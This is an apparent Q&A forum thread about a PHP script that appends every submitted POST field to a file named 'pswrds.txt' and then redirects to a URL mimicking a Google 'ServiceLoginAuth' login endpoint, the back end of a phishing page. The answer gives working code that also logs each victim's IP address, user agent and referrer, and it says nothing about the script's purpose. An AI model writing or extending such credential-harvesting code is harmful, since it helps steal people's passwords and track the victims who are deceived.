PHP to save user information to txt file

Question

The following code saves certain information to pswrds.txt:

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    foreach($_POST as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");
    }

    fwrite($handle, "\r\n");
    fclose($handle);
    exit;

?>

How can I get the code to also save the IP, User Agent & Referrer?

$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];

Answer 1

You could assign $_POST to a variable in your local scope, then add the variables you want to the array:

$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];

Then go about your loop as you are doing now, but iterate over $post not $_POST.

NOTE: Also you should stop hardcoding the newline characters yourself, use PHP_EOL instead. http://php.net/manual/en/reserved.constants.php#constant.php-eol

update

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    $post = $_POST;
    $post['ip'] = $_SERVER['REMOTE_ADDR'];
    $post['browser'] = $_SERVER['HTTP_USER_AGENT'];
    $post['referrer'] = $_SERVER['HTTP_REFERER'];

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>